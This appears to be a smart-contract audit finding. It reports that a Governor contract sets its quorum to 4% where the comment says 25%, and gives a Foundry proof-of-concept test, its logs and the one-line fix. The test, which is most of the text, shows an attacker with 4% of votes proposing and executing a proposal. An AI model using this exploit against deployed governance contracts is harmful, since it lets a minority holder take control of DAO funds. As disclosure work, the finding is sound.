    constructor(
        string memory _name,
        IVotes _token,
        Agent _agent
    )
        Governor(_name)
        GovernorVotes(_token)
@>      GovernorVotesQuorumFraction(4) // quorum is 25% (1/4th) of supply
    {
        agent = _agent;
    }
/**
 * @dev Returns the quorum denominator. Defaults to 100, but may be overridden.
 */
function quorumDenominator() public view virtual returns (uint256) {
    return 100;
}

/**
 * @dev Returns the quorum for a timepoint, in terms of number of votes: `supply * numerator / denominator`.
 */
function quorum(uint256 timepoint) public view virtual override returns (uint256) {
    return (token().getPastTotalSupply(timepoint) * quorumNumerator(timepoint)) / quorumDenominator();
}
function test_AttackLowQuorumThreshold() public {
    // Setup agent
    factory.setAgentStage(address(agent), 1);

    // Setup an attacker with 4% of voting power
    // Transfer from the whale that has 37% of tokens
    vm.startPrank(whale);
    address attacker = makeAddr("attacker");
    uint256 fourPercentSupply = token.totalSupply() * 4 / 100;
    token.transfer(attacker, fourPercentSupply);

    // Delegate attacker tokens to themselves
    vm.startPrank(attacker);
    token.delegate(attacker);

    // Make a malicious proposal with 4% of votes (0.01% needed)
    vm.warp(block.timestamp + 1);
    address[] memory targets = new address[](1);
    targets[0] = address(666);
    uint256[] memory values = new uint256[](1);
    bytes[] memory calldatas = new bytes[](1);
    string memory description = "";
    uint256 nonce = governor.propose(targets, values, calldatas, description);

    // Cast vote with 4% voting power
    vm.warp(block.timestamp + governor.votingDelay() + 1);
    governor.castVote(nonce, 1);

    // Warp to the end of the voting period
    // It can be assessed that with a total votes of 100 Million, the quorum is only 4 Million
    // The voting power of the attacker can be as low as 4 Million (4%)
    vm.warp(block.timestamp + governor.votingPeriod());
    console.log();
    console.log("totalVotes:       ", token.getPastTotalSupply(block.timestamp - 1));
    console.log("quorum:           ", governor.quorum(block.timestamp - 1));
    console.log("votingPower:      ", governor.getVotes(attacker, block.timestamp - 1));

    // The proposal succeeds with only 4% of voting power (lower than the expected 25% quorum)
    governor.execute(targets, values, calldatas, keccak256(abi.encodePacked(description)));
    console.log("ATTACK SUCCEEDED WITH ONLY 4% OF VOTES");
    vm.stopPrank();
}
Logs:
  totalVotes:        100000000000000000000000000
  quorum:            4000000000000000000000000
  votingPower:       4000000000000000000000000
  ATTACK SUCCEEDED WITH ONLY 4% OF VOTES
    constructor(
        string memory _name,
        IVotes _token,
        Agent _agent
    )
        Governor(_name)
        GovernorVotes(_token)
-       GovernorVotesQuorumFraction(4) // quorum is 25% (1/4th) of supply
+       GovernorVotesQuorumFraction(25) // quorum is 25% (1/4th) of supply
    {
        agent = _agent;
    }
